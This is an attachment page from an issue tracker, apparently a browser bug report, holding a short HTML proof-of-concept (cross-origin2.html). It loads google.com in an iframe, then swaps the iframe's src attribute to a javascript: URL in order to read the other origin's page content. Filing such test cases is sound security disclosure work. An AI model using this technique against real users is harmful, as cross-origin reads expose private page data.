My favorites | Sign in
Project Home Downloads Wiki Issues Code Search
New issue   Search
for
  Advanced search   Search tips   Subscriptions

Issue 39985 attachment: cross-origin2.html (388 bytes)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<head>
<script>
function main()
{
i = document.createElement('iframe');
i.src = 'http://google.com/';
attr = document.createAttribute('src');
attr.nodeValue = 'javascript:alert(document.body.innerHTML)';
i.onload = function ()
{
i.onload = null;
i.attributes.setNamedItem(attr);
}
document.body.appendChild(i);
}
</script>
</head>
<body onload="main()">
</body>
</html>
Powered by Google Project Hosting